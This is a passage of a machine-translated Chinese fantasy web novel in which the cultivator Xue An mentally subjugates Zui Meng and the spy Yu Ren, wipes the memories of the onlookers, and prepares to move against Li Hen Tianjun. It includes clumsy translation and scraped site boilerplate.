    Xue An''s expression moved slightly, and then nodded, "Yes!"


    Zui Meng smiled more brilliantly.


    "Sure enough! If this is the case, then my lord and I are not enemies, on the contrary, they are all allies!"


    "Oh? Why do you say that?" Xue An asked indifferently.


    Zui Meng said in an extremely resentful tone: "Because I want to kill the old thief Li Hen more than you!"


    After all, she took a look at Xue An secretly, but found that Xue An didn''t have any expression on his face.


    This made Zuimeng gritted his teeth secretly, and then sighed: "My lord must also know that I am the second wife of Li Heng Tianjun, but this old thief Li Heng has no feelings with me. On the contrary, he only Thinking of squeezing me, I have had enough of such days for thousands of years, I..."


    "Wait a minute!" Xue An interrupted her impatiently.


    "Huh?" Drunk Meng was taken aback.


    Xue An said indifferently: "I''m not interested in hearing any enmity between you, so let''s talk about it!"


    Drunk Meng was turned blue and white by Xue An''s words, and was obviously disrupted.


    But she can stand for thousands of years in this fringe city, so she just took a deep breath and recovered her calm, then slowly said: "It''s easy! I want to cooperate with adults and find a way to eradicate This is Li Heng Tianjun!"


    "Cooperation?" Xue An asked with interest.


    "Yes, cooperation!" Zui Meng said with a solemn expression.


    "I have witnessed your strength with my own eyes. It is indeed extraordinary, but you may not be aware of it. This Lihentian Monarch has existed for tens of thousands of years. It is the real superpower in the God Realm, and its strength is even more profound. Unpredictable! So if you want to get rid of him alone, it is absolutely impossible!"


    "But if you have my help, it will be different! Although I hate this Lihentianjun, I have been very submissive for thousands of years, so this Lihentianjun is not wary of me!"


    "As long as you find a way to get to Li Hentian Jun, you and I will join hands, and you will naturally achieve great things!"


    After all, Zuimeng looked at Xue An with a smug look, waiting for his nod.


    In her opinion, this matter is absolutely certain.


    After all, this will not cause any loss to Xue An, but will greatly increase his chances of success.


    Xue An didn''t speak, but looked at this drunk dream quietly.


    It was not until a long time later that Xue An narrowed his gaze and said lightly: "It sounds very good, but unfortunately, I am not interested!"


    The smile on Zuimeng''s face instantly solidified, and she exclaimed, "No...not interested?"


    She couldn''t think of it anyway, Xue An actually refused.


    Xue An nodded, "Yes!"


    "why?"


    Xue An smiledWhy... Do you still use me to say it? What do you plan in your heart, you should be the youngest! "


    Zuimeng''s face instantly became ugly, and a cold light flashed in his eyes, "You..."


    Xue An said lightly: "Your abacus is indeed good, join hands with me, if you really get rid of Lihen Tianjun, everyone will be happy, if not, then you can immediately change your face and sell me to Lihen Tianjun, to invite credit and reward!"


    "So no matter how you look at it, you are still making a profit without losing it!"


    "It''s a pity..." Speaking of this, Xue An raised his head, his face as cold as ice, "Do you really think, dealing with a Lihentianjun, do I still need someone like you to help?"


    Https://


    Only one second to remember the address of this site:. Mobile version reading URL:

 Chapter 1187： Spiritual washing

    These remarks were extremely rude, making Zuimeng''s face instantly pale, and then sneered.


    "My friend, I admit that your physical skills are really good. Even the Red Prison and others, who can be suppressed by the power of the flesh, cannot fight back and eliminate them completely. But you really think that with this little strength, you can get rid of Li Hate. Tianjun?"


    Speaking of this, a hint of sarcasm flashed across Drunk Meng��s face, ��You know, Li Hentian Jun is a tyrannical existence who subdues the whole world by himself. His power is beyond your imagination. You can rely on your ability. , At best can only be regarded as cannon fodder!"


    Xue listened quietly, without the slightest anger, until after she finished speaking, she said calmly: "Have you finished speaking? After speaking, should you do it too?"


    "You..." Drunk Meng changed his face suddenly, but soon recovered his calmness, and then snorted coldly, "It''s a toast and fine wine!"


    As she said, a bright divine light gradually appeared in her eyes, and a powerful divine coercion appeared above her head.


    This coercion is ever-changing, its magical uses are endless, and it is breathtaking.


    At this time, Drunk Dream changed his humility and said with an arrogant expression: "My friend, I will give you another chance now. If you are willing to cooperate with me, I will let you go. If you are not willing to... hehe, I will completely annihilate your mind!"


    Xue An raised his head and looked at the divine consciousness rainbow light on Zui Meng''s head, and said lightly: "It turns out to be a divine consciousness master!"


    "Yes! Otherwise, why do you think I was called Drunk Dream?" Drunk Meng said with a smug expression.


    "My friend, although your physical strength is incomparable, your weak spiritual mind is your biggest weakness! And you are now on my territory, it can be said that your life and death are all under my control. , As long as I am willing, I can immediately make you live without death! So I advise you to think carefully about my proposal, otherwise...huh!"


    Although the meaning behind it was not stated clearly, the two cold snorts were already full of threats.


    Xue An didn''t seem to hear the threat of Zuimeng, but kept quietly looking at the ever-changing power of divine consciousness above Zuimeng''s head. It was not until a long time later that he suddenly laughed.


    "What are you laughing at?" Drunkenly said with a change of expression.


    Xue An lowered his gaze and smiled at Drunk Meng, "It''s nothing, I just want to thank you suddenly!"


    "Thank me?" Zui Meng was puzzled.


    Xue An nodded, "Yes, thank you for reminding me!"


    "What do you mean?" Drunk Meng looked cold, and then said coldly: "Don''t play tricks, give me an answer now, otherwise I would be welcome!"


    Xue An chuckled, "You just said what is the biggest weakness of the strong in physical skills?"


    "Of course it''s his weak spirit!" said Drunk.


    You must know that this is the way to practice. It is difficult to have both fish and bear paws. If you like the chic of kendo, you must abandon the magical use of talisman.


    If you possess the incomparably tyrannical body of a physical skill expert, it is naturally impossible to possess the surging and mighty mind of a spirituality monk.


    Of course it doesn''t mean that it is absolutely impossible, but human energy is limited after all. Unless you are truly amazing and brilliant, it is difficult to take care of several major cultivation systems.


    As for the average person, it is not bad to achieve results on a path of cultivation!


    "That''s right!" Xue An nodded, but before Drunk Meng could speak, he went on to say: "But who told you that I am a strong physique?"


    "Huh?" Drunk Meng was taken aback.


    What does he mean by this?


    What is it if you are not strong in physical skills?


    Could it be that he can still be a spiritual monk just like himself?


    What a mystery!


    Thinking of this, a sneer appeared on Zuimeng''s face, and he sneered: "Then you are not a strong physique, so what are you?"


    Xue An smiled, and with his smile, he saw the Taoist light appearing in his eyes.


    Suddenly.


    But seeing an immense divine power soaring into the sky, even the whole world that was disturbed was shaken by it.


    Drunk Meng was shocked, and looked up at the power of divine consciousness in horror. The vast divine power contained in it made her tremble uncontrollably.


    Compared with this divine prestige, my own divine thought is like a firefight under the bright sun, it is not enough.


    Xue An said in a calm tone at this time: "Now, who do you say I am?"


    Drunk dreams can''t even speak, and is shaking all over.


    Xue An smiled, "In order not to provoke me, I was a bit bothersome! But your words reminded me! Li Heng Tianjun did not doubt you, so as long as I go back with you, it will be smooth. Sneak into his side!"


    Drunk Meng''s face was full of horror, and an ominous premonition suddenly emerged in his heart, and he trembled: "What... what do you... want to do?"


    Xue An smiled, "Don''t be nervous, I won''t take you anything, I just borrow your identity to use it! But in order to prevent you from divulging the news, I have to refine your spirit in advance!"


    Refine your mind!


    Hearing these four words, the ominous premonition in Drunk Meng''s heart was finally confirmed.


    The so-called cleansing of spiritual mind refers to a cruel law among spiritual mind monks.


    When two divine minds meet and conflict, the strong one can directly refine the weaker��s divine mind through powerful strength.


    And after being refined through the divine mind, he will bow his head to his ears and follow his words.


    To put it bluntly, it is the same as forcibly acknowledging the Lord.


    But this kind of situation can only happen when there is a huge difference in strength, and the strong have a powerful advantage over the weak.


    But now Zui Meng and Xue An happen to meet this condition!


    Thinking of this, Zui Meng no longer had the arrogance of just now, urging his whole body''s spirit, and instantly transformed into hundreds of millions. He wanted to confuse Xue An in this way, and then took the opportunity to escape.


    Unfortunately, all this is just her wishful thinking.


    When her clone had just appeared and the body hadn''t even left, Xue An''s spiritual thoughts had already surged in, and he immediately surrounded Drunk Meng.


    Then Xue An said calmly: "Don''t worry, it will be done soon!"


    After all Divine Mind is directly crushed by the supreme prestige.


    "No!" Drunk Meng only made a scream in time, and was completely enveloped by Xue An''s spirit.


    But seeing Guanghua flickering constantly, there was the sound of something being crushed from time to time inside.


    But this process was very fast, but after a few breaths, Guanghua gradually fell silent, and then Xue An''s spiritual thoughts receded like a tide.


    Only a dazed drunken dream stood in the middle.


    But when she saw Xue An standing not far away, she quickly retreated blankly, and then took a step forward, bowing respectfully and saluting, and said in an almost admiring tone: "Drunk dream, I have seen the master!"


    Https://


    Only one second to remember the address of this site:. Mobile version reading URL:

 Chapter 1188： Uncovering the fake article

    Xue An nodded, "Let''s go!"


    "Yes!" Drunk Meng responded quickly.


    Then Yi took the lead to lead the way and left this layer of spiritual enchantment.


    Just now, in order to conceal the conversation between himself and Xue An, Zui Meng set up a barrier of divine consciousness to isolate everything from the outside world.


    So in the eyes of outsiders, you can''t see or hear what''s going on inside.


    This can''t help making many people wonder.


    Especially when time passed by, and Xue An and Drunken Dreams did not come out of it, the crowd couldn''t help but start a slight commotion.


    "What are the second lady and this boy doing in there? Why haven''t they come out for so long?" Someone said with a look of astonishment.


    "Who knows! But I guess this young man will suffer a lot. You must know that our second lady is known for his superb skills. At an age like this young man, he can be fooled by a few words. He can''t even find North, and he obediently bows his head to surrender!"


    These remarks caused many people to nod frequently. As the natives in the fringe city, they had naturally learned the methods of drunken dreams, so they were all very awed by the second lady and felt that this guess was likely to come true.


    But some people don''t think so.


    "Able to wipe out all the Red Prison God Generals and others, this young man is definitely not a person who is waiting, how could he be fooled by the second lady so easily! But I think this young man is probably too bad!"


    "Huh? Why do you say that?" someone asked with a look of surprise.


    "Hehe, don''t look at the charming and charming appearance of the second lady, you really think that she is just a weak woman! Can suppress the edge of the city for thousands of years, you can''t do it with your wrist alone! I have heard people say, we This second lady''s cultivation of spiritual consciousness can be regarded as a first-class master!"


    These remarks shocked many people.


    After staying in this fringe city for so long, naturally they all have heard of it.


    "So I said, this young man is still too energetic! His physique training is extremely good, but due to the congenital defects of physique, once this kind of monk encounters a master of spiritual mind of the same level, he almost never fights back. Power! So I guess, now this young man is probably already obediently caught!"


    This inference was well-founded and almost everyone nodded.


    Only the housekeeper, Yu Ren, looked at that level of spirit enchantment with some surprise.


    He always felt that something was wrong, but he couldn''t tell what was wrong.


    At this moment.


    Seeing the divine mind barrier swaying for a while, Mrs. Zui Meng walked out of it.


    As soon as she saw her appear, the discussion from the audience disappeared without a trace, and everyone looked at her with bated breath.


    But seeing that there were no scars on her whole body, there was even a smile on her face.


    This makes many people''s hearts moved.


    It seems that things are as expected. That young man has been surrendered by the second wife?


    But when everyone was a little surprised and uncertain.


    But seeing that Zui Meng had walked out of the spirit barrier and did not leave, instead, standing aside respectfully with his hands down, seemed to welcome the arrival of some important person.


    Many people were taken aback by this scene.


    How is this going?


    Who is coming?


    This question just emerged from the hearts of everyone.


    But seeing the light and shadow shaking, Xue An stepped out of it.


    When seeing him, Drunk Meng hurriedly bent over and bowed his head, his respectful attitude was like seeing the master''s handmaid.


    Seeing this scene, everyone''s eyes almost stared out.


    What the **** is going on?


    This young man didn''t die. Why did the second lady''s attitude change drastically after going in for a while, so respectful to him?


    Under the attention of the audience, Xue An stopped and looked around.


    Wherever they went, many people couldn''t help taking a half step back in shock.


    Because they found that the boy''s eyes were simply too calm.


    Calm makes people even a little flustered.


    At this time, Xue An''s gaze stayed on a person standing in the corner, smiled faintly, and then walked over.


    Drunk dreams followed closely.


    Everyone evaded wherever they went, and then all their eyes were directed at the person Xue An was walking towards.


    This is a middle-aged man who is mediocre in appearance and vibe.


    But in the fringe city, no one dared to ignore his existence.


    Because he is Mrs. Drunk Dream''s most favored subordinate, and he is also a powerful figure in the fringe city.


    Butler at the blade!


    In fact, when he saw Xue An walk out of the spirit barrier just now, his expression changed.


    And when he saw the second lady Drunk Dream treat Xue Anzhi so respectfully, the pupils of his eyes instantly shrank to the size of a needle.


    But this person''s self-cultivation skills are extremely deep, all these changes happened in a fleeting time, and then returned to normal, the whole process did not attract anyone''s attention.


    Even when Xue An stepped towards him, he was not moved at all.


    At this time.


    Xue An walked up to him, stopped and looked at him quietly.


    Facing this kind of gaze, Yu Ren still didn''t show any signs of fright. Instead, he stooped deeply and said in a flat tone: "What do you want, your lord?"


    Xue An smiled.


    The smile is full of playfulness.


    "I have to admit, you are really good in disguising!"


    camouflage?


    What do you mean?


    What is this Yu Ren disguising?


    Everyone looked at each other and all saw the doubt in each other''s eyes.


    Even Drunken Dream was a little surprised.


    Only Yu Ren still didn''t react too much, just smiled indifferently, "Please forgive the villain for being dull, the adult''s words are too esoteric, I don''t understand!"


    Xue An did not pay attention to his remarks at all, but said indifferently: "My patience is very precious! All are smart people, so I don''t want you to use this superficial excuse to prevaricate me, understand?


    Yu Jian''s face was pale, but still forced a smile: "My lord, I really..."


    Xue An waved his hand impatiently eyes were getting colder, "You should be very clear when Li Heng Tianjun sent you here! Everything is dominated by drunken dreams, but you have to watch her secretly If there is anything unusual about his actions, stop or report it immediately! Or eliminate it directly?"


    These words came out.


    The audience was silent.


    People are silly.


    Especially Drunken Dream, was shocked all over his body, and looked at Yu Blade with amazement.


    She has great trust in this butler, Yu Ren.


    After all, Yu Ren has been with her for hundreds of years, has been loyal and has never made any difference.


    And when he conquered Yu Blade, Zui Meng used means to check it out, fearing that he would be a spy sent by him, but the result was that Yu Blade was innocent, without any stains.


    This is one of the reasons why she trusts Blade so much.


    But never expected that this Yu Ren would actually be sent by Li Hentianjun to monitor his undercover.

 Chapter 1189： Shocking One Strike

    After being refined by God''s mind, Zui Meng obeyed Xue An''s words without any doubt.


    But because of this, when she thought that she knew all her secrets, she couldn''t help but gradually sink.


    at the same time.


    This Yu Blade lowered his head and sighed slightly.


    "It looks like I really underestimated you!"


    said, he slowly raised his head, "Yes! I am Lord Tianjun!"


    With the voice, Yu Ren''s whole person''s state changed.


    If you say that the previous Yu Ren is plain and unremarkable, it looks like a humble stone.


    Then it was like peeling off the outer stone skin, revealing the beautiful jade inside.


    The vigorous momentum is like a sharp sword out of its sheath, which is frightening.


    With such a change, everyone who saw it took a breath.


    Because it can be seen from this aura alone that the strength of this Yu Blade is even stronger than Drunken Dream.


    As for the God of the Scarlet Prison, it is nothing compared to him.


    At this time, Yu Ren said lightly: "I''m really curious! How did you see it? Is it my disguise that shows my feet?"


    Xue An smiled faintly, "I just said that you are really pretending to be pretty good! Otherwise, it is impossible to hide the drunk dream of specializing in spiritual thinking in hundreds of years! It is a pity, no matter how you pretend, in front of me, But a joke!"


    Speaking of this, Xue settled for a while, and a bright light flashed in his eyes, "Because in front of me, everything is vain!"


    Yu Jian sneered after hearing the words, "You are really amazing! If I guess correctly, this drunk dream has been refined by you!"


    Xue An nodded, "Yes!"


    "Humph!" Yu Ren snorted coldly, turning his head to look at Drunken Dream, "Second Madam, I am very grateful for your trust in me over the past few hundred years, but you shouldn''t try to oppose Lord Tianjun! I can assume that I have not heard the many complaints about Lord Tianjun, but you can''t hide the matter this time!"


    The drunk dream changed completely, and he shouted angrily, "Damn, die for me!"


    said, the spirit of drunken dreams pounced.


    Ke Yu Blade just let out a cold snort, and a more powerful spirit came out of him, and then directly blasted together.


    After a loud noise.


    But seeing Drunk Meng stumbled back a few steps before he stood firm.


    But Yu Blade just shook his body slightly.


    The strength is superior and the judgment is made.


    At this time, Zuimeng''s complexion became extremely ugly, and he couldn''t help looking at Xue An.


    "the host!"


    Hearing this name, everyone was not too shocked.


    Because they have been shocked, they are almost numb.


    Who knew that the situation would turn around at this time.


    Yu Ren, who has always been honest and tolerant, is actually a spy sent by Lord Tianjun.


    The powerful second lady was also forcibly refined by this young man and became his servant.


    This pile of piles made many people feel chilly.


    Because they have a hunch, something earth-shattering will happen.


    at the same time.


    Xue An looked at Yu Ren with a faint smile, and said lightly: "No wonder I can hide it for so long. It turns out that a second personality who is loyal to drunken dreams was constructed out of thin air through a strong divine mind, while his master personality fell asleep for a while. In this case, even drunken dreams will not be discovered! Am I right?"


    Yu Ren grinned, "Stop talking nonsense, since you dare to fight against Lord Tianjun, let''s take your life!"


    said, there was a blade of light around Yu Blade''s body, and then he went straight to Xue An like a snowflake.


    These knives are all transformed by Yublade''s divine mind, and the momentum is unparalleled, and it is breathtaking.


    Unfortunately, when this knife light came to Xue An''s body, it was like a snowflake under the scorching sun, quickly melting away and turning into invisible.


    Yu Jian''s complexion changed, but he also knew that Xue An was not an easy one, so he did not expect to defeat Xue An with a single move.


    I saw a mysterious magic seal flashing in his eyes, and then saw a magic seal descending from the sky with a huge force, pressing directly towards Xue An.


    Its power was so strong that although it was only halfway through, the ground that had been pressed rumbled down and dented a big hole.


    Yu Blade''s complexion turned pale, and his whole body was trembling slightly.


    These powerful tactics also put a lot of pressure on him. He must spend his entire cultivation base before he can barely display it.


    But the effect is amazing.


    I saw arc-shaped ripples appeared in the space oppressed by this seal, and then pressed down.


    This kind of mighty power, even if it is an indestructible physique expert, he has to hate on the spot.


    But Xue An just smiled when faced with such a shocking blow, "It''s interesting!"


    Then he suddenly raised his hand, and directly supported this brutal blow with one hand.


    boom!


    When the palm of his hand touched this seal, Xue An''s hair was shaken.


    But that''s all.


    Besides, Xue An didn''t even blink his eyelids.


    On the contrary, Yu Ren did his best with all his strength. Because of the force of the counter-shock, he was directly vomited and vomited blood and flew back several tens of feet away.


    Blood was spilled all over the place.


    After he barely stood still, his face finally showed a look of horror.


    Because his attack was derived from Li Hentianjun''s true biography, with all his strength, he could even strangle the strong who had just entered Da Luo.


    Unexpectedly, he was broken by this boy with one hand.


    How strong is he?


    at the same time.


    I saw Xue An smile slightly, "It''s a good trick, but it''s a pity that your strength is too bad and you can''t show it at all!"


    Talking I saw Xue An holding this seal, and then slammed it down to the ground beside him.


    Boom!


    After a loud noise.


    The sky shook, and all the onlookers were shaken and flew off the ground in a hurry, staring at the scene before them in amazement.


    As soon as the smoke and dust dispersed, a bottomless pit appeared on the ground.


    And Xue An stood on the edge of the pit with his hands under his shoulder, and smiled at Yu Blade in the distance.


    "What new tricks are there? Let''s use them together! I took them all!"


    Yu Blade trembled all over, looked down at the deep pit in front of him, a look of determination appeared in his eyes, and then shook his head.


    "You are amazing! I am not your opponent!"


    Yu Ren was very self-aware, because even the seal bestowed by Lord Tianjun couldn''t defeat Xue An, so it would be impossible to rely on his own strength.


    But when he said this, he raised his head and looked at Xue An mockingly.


    "If you want to kill or kill you! Anyway, you won''t be able to live long anyway, because just now I have already sent the situation here to Lord Tianjun in the form of divine reading! Lord Tianjun will never let go by then You and this drunk dreamer! Hahahaha!"


    said, Yu Ren laughed arrogantly.


    Zuimeng''s complexion instantly became extremely ugly.


    Because if Li Hentian Jun really knows this in advance, then the master and his own plans will all be in vain! !


    But at this moment, Xue An also smiled, and then raised his hand, a small mark of God''s Reading Book appeared in the palm of his hand.


    "What you said...is this?"

 Chapter 1190： Erasing memories and refreshing the audience

    Yu Blade''s laughter stopped abruptly, and then stared at the imprint of Shennianshu in Xue An''s hand as if he had seen a ghost.


    "This... how is this possible? Where did you get it?"


    Yu Yan couldn''t believe his eyes. If it weren''t for the imprint of his own spirit on this book, he even thought it was forged by Xue An.


    Xue An smiled, and squeezed the book of God��s reading aloud with a hand, and then said indifferently: ��Sorry, since I entered this banquet hall, I have completely sealed off the surrounding world. Neither divine mind nor secret law can break through, and so is your book seal!"


    Yu Yan''s eyes gradually widened, and then he roared in disbelief: "I don''t believe it! In this Lihentian, no one except Lord Tianjun can block the world?"


    "Really? But I was blocked, what can you do? If you don''t believe me, you can try it!" Xue Anhao said leisurely.


    Yu Blade gritted his teeth and forcibly activated all his spiritual thoughts, instantly printed hundreds of seals, and then waved his hand, these seals flew straight in all directions.


    Xue An didn''t stop either, and even looked at him with a smile while holding his arms.


    As expected.


    Just as these book prints flew out a few miles away, an invisible barrier suddenly appeared, directly smashing these book prints to pieces.


    Hundreds of bursts rang together.


    And Yu Blade''s complexion reflected by the firelight was like ashes.


    It wasn''t until these prints were completely shattered that Xue An chuckled softly: "Now, can you believe it?"


    Yu Blade trembled all over, then looked at Xue An with a ghostly gaze, and finally lowered his head sadly, saying: "Kill me! I give up!"


    "Kill you?" Xue An smiled and shook his head, "Who said I would kill you!"


    Yu Ren was shocked when he heard the words, then raised his head and looked at Xue An with a blank face.


    Don''t kill me?


    What does he mean?


    Could it be.......


    Yu Ren suddenly remembered something, and a look of horror suddenly appeared in his eyes, "You...you..."


    Xue An showed her white teeth and smiled sensibly, "It seems that you have guessed it! Yes, I want to forcibly cleanse your spiritual thoughts! After all, if you die suddenly, then Li Hentian Jun will rise. Suspicious!"


    Yu Blade was shocked all over his body, and then the color of determination appeared in his eyes.


    But how could Xue An give him this opportunity.


    I saw Xue An raised his hand and pointed.


    The turbulent spirit rushed past like a tide, and then directly wrapped in the blade.


    And at the moment of contact, Jie Jian''s body and spirit were all frozen, making him unable to move at all.


    Yu Blade could only watch Xue An''s divine spirit pounce on his sea of ??consciousness, his eyes flashed with blazing despair, but soon, the light quickly dimmed.


    Xue An looked at this Yu Blade quite approvingly.


    Although he is a person who hates Tianjun, what he did just now shows that Yu Blade is quite spine.


    Such a person is worthy of respect even as an enemy.


    But this will not change any of Xue An''s thoughts.


    Xue An will not change his plan just because of some so-called appreciation.


    In the end, after about half a cup of tea, Xue An''s spiritual thoughts receded like a tide, leaving only Yu Blade with a blank face standing on the spot.


    Xue An said lightly: "Seeing me, don''t you still pay courtesy?"


    Yu Jian was stunned for a moment before he woke up, and then bowed and saluted, "I have seen the master!"


    Now, everyone in the audience was dumbfounded.


    In such a situation for a while, the drunken dream''s spiritual mind was refined by this young man, and Yu Blade''s true identity was exposed, and then he also ended up being refined by his spiritual mind.


    This unthinkable thing has made many people lose the ability to think.


    Yan Meishu''s open-mouthed boss stared at Xue An''s figure blankly.


    Once upon a time, she thought that this boy was just an ordinary person.


    But it was not until now that she realized how ridiculous her previous thoughts were.


    Everything he did was beyond Yan Meishu''s understanding.


    so that she suddenly felt a sense of loneliness in her heart.


    Because she suddenly understood that her previous feelings were nothing but wishful thinking!


    As his own identity, maybe even his shadow can''t be touched!


    Thinking of this, Yan Meishu lowered his head and said nothing.


    While Jiang Xunnan, who was guarding the sky, whispered in awe at this moment: "Wow, what a powerful human race! Lord Shuotian, do you know this person?"


    Xiaotian kept watching silently, until Jiang Xunnan asked, he mumbled: "I don''t know!"


    "But he seems to value you very much! And I just heard the dead Chi Prison say that he is still a Chinese person! Do you know what this Chinese is?"


    "Chinese..." Xiaotian muttered these two words, and suddenly there was pain in his eyes.


    "It seems familiar, but I still can''t remember!"


    at this time.


    Xue An nodded in satisfaction, and then turned around to look at the audience.


    As far as they could see, many people bowed their heads with guilty conscience.


    Xue An smiled faintly, "Did you see all the things just now?"


    Everyone''s heart tensed, and then the one who saw the opportunity hurriedly shook their heads, "No, no, sir, we didn''t see anything, nor heard anything!"


    "Yes, yes! We haven''t seen or heard anything!"


    The crowd started to clamor all of them said that they had just suddenly become blind and deaf, so they didn''t see anything.


    Xue An didn''t speak either, just watched quietly with a smile on his face.


    until after a while.


    The drum noise of the crowd gradually subsided, and finally fell silent.


    Then Xue Ancai said indifferently: "Do you think I will believe what you say?"


    This question made many people''s heartbeats speed up.


    Then someone forced a smile and said, "Then...what do you mean, my lord?"


    Xue An''s mouth showed a faint smile, looking at the person who was talking, "What do you mean?"


    Many people have cold sweats on their foreheads.


    Could it be that he still plans to kill all the witnesses present?


    The idea of ??���� makes a lot of people creepy.


    At this moment, Xue An sighed softly, "Okay, you guys, I don''t bother to kill you! I will erase this memory for you!"


    As he said, Xue An waved his hand, but saw countless divine thoughts burst directly, and then flew into the eyebrows of everyone present.


    These people became stiff, and there was a look of shock in their eyes.


    But soon, their memories of this passage in the sea of ??knowledge were forcibly erased.


    When Divine Mind returned to Xue Anzhi, the eyes of everyone present were all blank, but soon, they all dispersed. .


    Because Xue An gave them an instruction at the end, these memories will disappear completely when they get home.


    When the time comes, they won''t even remember that they visited the City Lord''s Mansion today.

 Chapter 1191： The first lady

    Of course, not everyone left.


    For example, Yan Meishu, at the moment she was standing in place with a blank face.


    Xue An nodded at her, "You are not a person from Li Hentian, so you don''t have to erase your memory! And didn''t you come with the caravan this time? Then leave this place quickly after the handover with Zuimeng World!"


    Yan Meishu lowered his head, with a sad look in his eyes, and said in a low voice, "Yes! Thank you...sir!"


    Xue An smiled, turned around and left.


    At this moment, Yan Meishu suddenly raised her head and said with expectation: "My lord, can we still see each other in the future?"


    Xue An paused, and said without turning his head: "Maybe it will! Take care!"


    After all, Xue An left in stride.


    Yan Meishu looked at Xue An''s back blankly, her eyes full of sadness and hesitation.


    She understood that with Xue An''s strength, her previous plan was nothing but wishful thinking!


    At this moment, Yu Ren stepped forward and said: "Miss Yan, please come with me to hand over! After the handover is over, please leave Li Hentian immediately, without delay! After all, this is for your good, my lord!"


    Yan Meishu hesitated a little, then said softly: "May I ask, who is he going to deal with?"


    Yu Yan shook his head, "You still don''t want to know these things!"


    Yan Meishu was startled, and then thought of something, and felt that her hair was standing upright.


    Could it be...


    This thought made Yan Meishu''s heart extremely heavy.


    Because if her conjecture is true, what Xue An did is simply too bold!


    After all... the other party is an ancient **** who has existed for tens of thousands of years!


    Yan Meishu followed Yu Ren with serious thoughts.


    Xue An walked straight to the wailing sky and smiled slightly.


    "What did you think of this scene just now?"


    Xiaotian was silent for a moment, and then said: "You are amazing! But I don''t understand why you want to keep me, even let me witness the whole process, aren''t you afraid of my revenge on you?"


    "Retaliation?" Xue An laughed blankly and looked at Xiaotian deeply, "Now you still can''t remember who your real enemy is, but I think you should often feel confused in private!"


    Xiaotian''s complexion changed, but Xue An didn''t seem to see it, and continued to say in a calm tone.


    "Doubt your own identity, wonder what you see, and even wonder whether the memories in your mind are true or not! And these... are the source of your pain!"


    "You...you..." Xiaotian asked in astonishment.


    "How would I know?" Xue An smiled, "Actually, I can unlock the memory curse on you right now! But that will only alarm him in advance, so I think if you want to know the reason for everything , Then follow me to see him!"


    Xue An didn''t clearly say who he was!


    But Xiaotian is not a fool, and he naturally understands that the person Xue An is talking about should be Lihentianjun.


    Somehow, he, who should have become hostile to Xue An because of this, suddenly felt very excited.


    It was as if there was a voice crying deep in the soul, just follow him!


    "Okay! Then I''ll go with you this time!" Xiaotian said in a deep voice.


    Xue An smiled, and with a wave of his hand, he released the shackles on Shuotian.


    Jiang Xunnan hurriedly stepped forward, and after the two said a few words, they also left first.


    Xue An looked at Xiaotian''s departed back and sighed lightly: "I really don''t know what kind of mood you will be when you see your real master!"


    At this moment, Zuimeng stepped forward and said respectfully: "Master, what shall we do next?"


    Xue An did not speak, but quietly looked ahead, his eyes seemed to penetrate the distant horizon, looking towards the distant unknown place!


    It wasn''t until a while before that he narrowed his gaze, turned his head to look at the Drunken Lady, and then smiled faintly.


    "I remember you just said that you are the second wife of Li Hen Tianjun?"


    Zui Meng nodded, "Yes, my lord!"


    "So if you say that, there is still a big lady?"


    When Xue An mentioned the three words "Madam, Zuimeng''s face instantly became ugly, and then said with some difficulty: "Yes!"


    The words seemed very reluctant to mention the eldest lady.


    But Xue An seemed very interested, and said with a smile: "What''s her name?"


    Drunk dreaming hesitated for a moment, "She...her name is Ji Huan!"


    "Ji Huan..." Xue An murmured softly, and then smiled: "You seem to be afraid of her?"


    Drunk Meng was startled, and then smiled bitterly: "My lord, this Ji Huan is the wife of Li Heng Tianjun! My status is indescribable. Although I am in charge of this fringe city, I am honored as the second lady, but with her By comparison, it��s still too far! And..."


    Drunk Meng lowered her head and said helplessly: "After I was sent to this fringe city, I stayed for thousands of years. During that time, I never went back, because this Ji Huan is extremely jealous. She once said that if there is no With her permission, I can''t go back at all!"


    The words are full of complaints and grievances.


    Xue An laughed when he heard the words, "Okay, then you can send a book of divine reading to the lady and print it, and say that you have important things to go back and discuss with her!"


    Zui Meng was taken aback, Xuan even understood, and then nodded heavily, "Yes! Zui Meng understands!"


    After that, she turned around and went down to prepare.


    Xue An stood on the spot, raised his head and looked at the vast sky. He took a slow and deep breath, his eyes were shining brightly, "Li Heng Tianjun, finally it''s your turn!"


    In the city of Lihen, located in the middle of Lihentian, apart from the temple where Lihentian Jun lives, the most magnificent building is Dingtianxuan on the floating island outside the city.


    Because this is the residence of Ji Huan, the wife of Li Hentian.


    Naturally magnificent and beautiful.


    And at this moment.


    In this Dingtianxuan, Ji Huan was looking bored at the album in hand.


    At this time, a middle-aged woman walked in very respectfully, "Madam, haven''t you chosen yet?"


    Ji Huan yawned boredly. UU Reading threw out the album in his hand, "It''s boring! It''s all ordinary stuff, I didn''t like any of them! Mother Chu, you recently provided it. The quality of the goods is a bit low!"


    The middle-aged woman hurriedly nodded her head and bowed her waist and said, "Yes, yes! What the madam taught me! I will look for a suitable candidate for you!"


    Ji Huan waved her hand, "Okay, I''ve heard you more than once! I can''t do it once, it''s a waste!"


    Sweat appeared on the face of the mother Chu, and she smiled forcefully: "Madam, the young talents in our **** realm who can see past are basically here. If it doesn��t work, then I can only I''m looking for some delicious fresh meat for you outside the gods!"


    Ji Huan giggled, "Okay! Then do it quickly!"


    Please remember the domain name of the book��s first publication:. The fastest mobile version update URL:

 Chapter 1192： 1 seal book 1 go together

    "Yes!" Mother Chu hurriedly responded and turned to leave.


    "Come back!" Ji Huan suddenly shouted.


    "What do you want, Madam?"


    "Master Tianjun, what are you up to lately?" Ji Huan said casually.


    Mother Chu hurriedly said: "Mrs. Hui, Lord Tianjun is hosting a distinguished guest recently and has never been seen!"


    "Guest? What kind of guest? Men and women?" Ji Huan asked one after another.


    Mother Chu shook her head, "I heard that it is a man. As for the specific identity, then I don''t know!"


    Ji Huan slowly leaned on the chair, her face was uncertain, and she sneered after a while.


    "Guest...hehe, Li Hentian is the first day of the God Realm. What other guests can he treat as guests?"


    Of course Mother Chu didn''t dare to answer. In fact, if it was possible, she really wished she couldn''t even hear these words.


    "Okay, you go down!" Ji Huan nestled in the chair and waved impatiently.


    Mother Chu was relieved, hurriedly gave a deep salute, and then left.


    But at this moment, a Huaguang suddenly broke into the room. Then flew directly in front of Ji Huan.


    This change made the mother Chu couldn''t help exclaiming.


    But Ji Huan didn''t even blink her eyelids, because she had already seen that what was coming was a seal of divine reading.


    really.


    Seeing Huaguang disperse, the book print inside appeared.


    But when she saw the imprint on the book, Ji Hua frowned and snorted coldly: "It''s actually this little **** Drunk Meng! What did she do when she sent me the book print?"


    With that said, Ji Huan raised his hand and called, and the seal of the book fell into her hand.


    When you untie the outer book print, you have to get a glimpse of the information inside.


